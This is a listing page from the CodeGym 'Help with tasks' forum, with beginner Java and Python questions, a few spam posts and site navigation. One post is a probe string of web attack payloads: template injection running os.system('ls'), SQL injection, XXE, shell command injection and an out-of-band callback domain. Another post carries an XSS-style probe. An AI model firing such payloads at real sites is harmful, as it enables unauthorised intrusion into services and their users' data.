CodeGym
CodeGym University
Java FullStack
Learning
Courses
Tasks
Surveys & Quizzes
Games
Help
Schedule
Community
Users
Forum
Chat
Articles
Success stories
Activity
Reviews
Subscriptions
Light theme

Help with tasks

  • Reviews
  • About us
Start
Start learning
Start learning now
  • All questions
  • eliradelorca
    Level 1
    New
    Java Input Works Once, But Fails When the Task Has Multiple LinesMy Java code works with one input line, but I get unexpected results when the task provides several lines. I’m not sure whether the problem is my input handling or the way I process the data. I’m currently working on a beginner Java task that requires reading several values from the console and pro
    • 8/25/26
    • 8views
    • 0comments
    0
  • Jayshree
    Level 1
    Maddur
    Question about the task Fixing bugs 🐛
    Java 25, Level 1, Lesson 5
    Under discussion
    this code is trash?yes!
    • 8/1/26
    • 42views
    • 1comment
    0
  • Leonti Sidorov
    Level 1
    New
    Slope Unblocked: Endless 3D ChallengeLooking for a fast, simple browser game that tests your reflexes from the very first second? Slope Unblocked delivers exactly that. Available through platforms such as Slope Unblocked, this endless 3D running game sends a glowing ball racing down a futuristic slope filled with ramps, gaps, blocks, a
    • 8/19/26
    • 12views
    • 0comments
    0
  • Sebastian
    Level 2
    Stockholm
    Question about the task Assembling a sentence from words 📝
    Java 25, Level 1, Lesson 2
    New
    Not a questionYou cant succed, the answer contradicts the requirements.
    • 8/11/26
    • 11views
    • 0comments
    0
  • Sebastian
    Level 2
    Stockholm
    New
    Not a question but a heads upDon't bother with codegym if you want to practice code on your phone while comuting, it is horrible to write code in their tasks on mobile. Like actually horrendus.... The reading part is fine but for a more all in all thing then get something else.
    • 8/11/26
    • 16views
    • 0comments
    0
  • Abdul faran
    Level 1
    New
    foodiesphere aappackage com.example.foodiesphere import android.os.Bundle import androidx.activity.ComponentActivity import androidx.activity.compose.setContent import androidx.compose.foundation.layout.* import androidx.compose.material3.* import androidx.compose.runtime.Composable import androidx.compose.ui.Alig
    • 8/9/26
    • 21views
    • 0comments
    0
  • Anonymous #11812989
    Level 1
    Fremont
    Under discussion
    Digital funds//Cyber digital currencyI'm to begin trading digital currency. How is it done and does it require identification of crypto profile?.
    • 7/23/26
    • 45views
    • 1comment
    0
  • Hruthika reddy
    Level 1
    Nalgonda
    New
    I want to practice the program I want to practice the program
    • 7/28/26
    • 26views
    • 0comments
    0
  • Anonymous #11743339
    Level 2
    Brockton
    Question about the task Fixing bugs 🐛
    Java 25, Level 1, Lesson 5
    Archived
    This is not a question this task is broke and can not be completed as is.This question is incorrect and cannot be completed as stated in the instructions; even the "Correct solution" is marked as incorrect.
    • 12/29/25
    • 273views
    • 4comments
    1
  • ousi4ous
    Level 2
    Douala
    Question about the task Minimum of three numbers
    Java Syntax, Level 2, Lesson 8
    Resolved
    i have difficulties finding my errorcan someone please help me find the error
    • 4/11/19
    • 1310views
    • 5comments
    0
  • Olga
    Level 1
    New
    Why original developments are becoming a distinctive feature of the platform. Today, many digital platforms offer similar features, but some are creating their own exclusive projects, accessible only within the service. Do you think having such a section makes the platform more appealing to users in Nigeria?
    • 7/14/26
    • 39views
    • 0comments
    2
  • hidden #10668264
    Level 7
    Question about the task Minesweeper (Part 1/16)
    Games, Level 0, Lesson 0
    Under discussion
    Engine symbol unresolvedI typed the import statement: import com.codegym.engine.cell.*; but got an error message saying cannot resolve symbol engine. Has anyone come across this issue?
    • 9/17/20
    • 776views
    • 8comments
    1
  • Max Holloway
    Level 1
    New
    Balancing hours of solving programming exercises with short Balancing hours of solving programming exercises with short relaxing breaks can be challenging when learning to code. While taking a pause from debugging algorithms and browsing technical discussion threads across Australia, having a smooth mobile web connection is essential. Heavy site frameworks l
    • 7/22/26
    • 21views
    • 0comments
    0
  • Max Holloway
    Level 1
    New
    Writing a sports data parser or a Telegram bot Writing a sports data parser or a Telegram bot that tracks real-time match statistics is actually one of the best pet projects you can build when learning Java. It teaches you how to handle JSON payloads, work with external APIs, and manage multi-threading. I was actually discussing this exact proje
    • 7/15/26
    • 32views
    • 0comments
    1
  • Max Holloway
    Level 1
    New
    I really appreciate how active the help section is on CodeGym.I really appreciate how active the help section is on CodeGym. When you are stuck on a tough Java task, having a community to point out a logical error in your loop or conditions saves so much time. I was reviewing some OOP concepts with a programming classmate of mine from Pakistan earlier today, a
    • 7/15/26
    • 23views
    • 0comments
    0
  • eaglesky
    Level 1
    New
    I need help understanding how to solve this task. I have tried writing the code, but I am not sure why my solution does not work. Could you please explain the approach and point out my mistake?Hello, I need help with this task. I have tried to solve it by myself, but I am having difficulty understanding the correct approach. I would like to know how to analyze the problem, choose the right solution, and avoid common mistakes. If possible, please explain where my thinking or code is wrong
    • 7/14/26
    • 27views
    • 0comments
    0
  • TooTsszz Rool
    Level 1
    New
    34.87.23.78youtu.be/ohET7tecsra
    • 7/8/26
    • 25views
    • 0comments
    0
  • Anonymous #11808672
    Level 1
    Mumbai
    New
    hello{{7*7}} {{2*2}}[[3*3]] ${6*6} @(6+5) {{config}} {{self.__class__.get_class.__globals__.__import__('os').system('ls')}} HTML HTML Bob aliceentry'> '+OR+'1'%3d'1'+-- '+UNION+SELECT+null,+null,+null+-- ]> %26xxe%3b ;+ls+-la %3b+echo+'malicious_code' urpfe10j0kxqj97dsgshvliw2n8ewbk0.oastify.com
    • 7/1/26
    • 36views
    • 0comments
    0
  • alicetesttdget
    Level 1
    Mumbai
    New
    aliceentry'>asaaaliceentry'>
    • 7/1/26
    • 40views
    • 0comments
    0
  • LuisRC
    Level 39
    Gijón
    Question about the task Words with numbers
    Java Core, Level 9, Lesson 11
    Under discussion
    What's my mistake?Hi there, Where's the problem with my code? I've already tested it by using different word patterns (aaa, a1a, 1a2, @sd, @23, @we34) and it seems to work. The recommendation of my mentor "Be sure that your solution uses FileWriter" Am I not using it? Thanks
    • 4/19/22
    • 945views
    • 7comments
    0
  • Matthew Riggs
    Level 6
    United States of America
    Question about the task Second smallest number entered
    Java Syntax, Level 4, Lesson 5
    Under discussion
    It technically works, but not really... I almost have it, but not quite. With the example input it works, printing 4 as the lowest and 5 as the next smallest (I have it printing both for testing) but when I added a 3 at the end of the list of numbers (but before the enter breaks the loop) and it correctly updates the lowest number to 3, b
    • 12/20/23
    • 800views
    • 4comments
    0
  • Onome Brownly-Otiede
    Level 9
    Galway
    Question about the task 20 words that start with the letter "L"
    Java Syntax, Level 8, Lesson 8
    Resolved
    Why doesn't Set.of work?The first thing that I would do in any scenario like this is to use the of() method but for some reason it doesn't work. I copied the exact same code into eclipse and it worked just fine so I don't know why codegym is doing this. I downloaded the correct code and it showed me like the HashSet but th
    • 7/15/22
    • 815views
    • 5comments
    0
  • Evgeniia Shabaeva
    Level 42
    Budapest
    Question about the task Mixed-up bytes
    Java Syntax, Level 16, Lesson 2
    Under discussion
    Why is my code not working?The correct solution suggests we use try-with-resources to complete the task. I understand that's a more beautiful way, but I'd like to use the try-catch-finally formula just in order to better understand how all this works. So, the validator implies that I'm not using the newInputStream and newOutp
    • 5/31/24
    • 379views
    • 8comments
    0
  • Witaya Chada
    Level 1
    Question about the task Find all the files
    Java Collections, Level 1, Lesson 2
    Resolved
    http://schemas.android.com/apk/res/androidThe code snippet you provided appears to be related to an Android application's manifest file, specifically dealing with the configuration of native libraries and the splitting of APKs. Here's a detailed interpretation of the key elements in the snippet: 1.The code snippet you provided appears to be related to an Android application's manifest file, specifically dealing with the configuration of native libraries and the splitting of APKs. Here's a detailed interpretation of the key elements in the snippet: 1. `hasCode`: This attribute indicates wheth
    • 3/28/25
    • 270views
    • 7comments
    0
  • eliradelorca
    Level 1
    Under discussion
    Why does my Java for-loop skip elements after removing items from an ArrayList?Hi everyone, I'm learning Java collections and ran into an issue when removing elements from an ArrayList inside a for-loop. Example: ArrayList numbers = new ArrayList<>(); numbers.add(1); numbers.add(2); numbers.add(3); numbers.add(4); for (int i = 0; i < numbers.size(); i++) { if
    • 6/13/26
    • 60views
    • 2comments
    0
  • MoJo
    Level 23
    Cairns
    Question about the task Number algorithms
    Java Core, Level 10, Lesson 10
    Resolved
    I'm not sure if i understood the task correctlySo i thought it works for me but it doesn't let me pass. Looking at various internet sides etc. it seems that some people do not think 3-9 are so called Armstrong numbers: https://pages.mtu.edu/~shene/COURSES/cs201/NOTES/chap04/arms.html My output: 4 [1, 2, 3, 4, 5, 6, 7, 8, 9, 153, 370, 371, 407]
    • 2/24/21
    • 1039views
    • 6comments
    0
  • Maven
    Level 17
    United States of America
    Question about the task Filling an array
    Java Syntax, Level 6, Lesson 8
    Resolved
    I am filling the array according to the specifications. What is wrong here?The error message is too general. My solution is filling the even and odd arrays according to the specifications. I'm not sure what I'm missing here.
    • 3/6/22
    • 1392views
    • 12comments
    2
  • David
    Level 1
    Paris
    Question about the task Pythagorean Multiplication Table
    Python Core, Level 4, Lesson 5
    Under discussion
    la solution proposée ne marche pasMême la solution proposée est en erreur au niveau de : The program should output only the numbers of the table, formatted as an N x N table.
    • 4/4/26
    • 105views
    • 3comments
    0
  • Paul
    Level 24
    Vienna
    Question about the task Deep cloning of a map
    Java Multithreading, Level 1, Lesson 8
    Under discussion
    What does actually happen in the clone() method?I don't think I understand this topic even after doing some reading on it. I will try to describe as good as I can what I think happens in my code. If you can see the mistake, I would be grateful for any hints. As far as I understand after clone() in the main method is called, the solution.clone()
    • 12/9/22
    • 924views
    • 4comments
    0
  • Edddieg
    Level 15
    Providence
    Question about the task Don't think about seconds…
    Java Syntax, Level 3, Lesson 8
    Resolved
    please helpWrite code that calculates how many seconds have passed since 3:00 PM when the clock says it's 3:30 PM. Display the result. Requirements: • The program should output text. • The displayed text should be a positive integer. • The displayed number must be a multiple of 60. • The displayed number must
    • 6/7/20
    • 1065views
    • 6comments
    0
  • 1
  • 2
  • 3
  • ...
  • 375
Learn
  • Registration
  • Java Course
  • Help with Tasks
  • Pricing
  • Java Syntax
Community
  • Users
  • Articles
  • Forum
  • Chat
  • Success Stories
  • Activity
  • Affiliate Program
Company
  • About us
  • Contacts
  • Reviews
  • Press Room
  • CodeGym for EDU
  • FAQ
  • Support
CodeGym CodeGym is an online course for learning Java programming from scratch. This course is a perfect way to master Java for beginners. It contains 1200+ tasks with instant verification and an essential scope of Java fundamentals theory. To help you succeed in education, we’ve implemented a set of motivational features: quizzes, coding projects, content about efficient learning, and a Java developer’s career.
Follow us
Interface language
English
Deutsch Español हिन्दी Français Português Polski বাংলা 简体中文 मराठी தமிழ் Italiano Bahasa Indonesia 繁體中文 Nederlands 日本語 한국어 Bulgarian Danish Hungarian Basa Jawa Malay Norwegian Romanian Swedish Telugu Thai Українська Filipino Turkish Azərbaycan Русский Vietnamese
Programmers Are Made, Not Born © 2026 CodeGym
MastercardVisa
Programmers Are Made, Not Born © 2026 CodeGym
Advertisement
Advertisement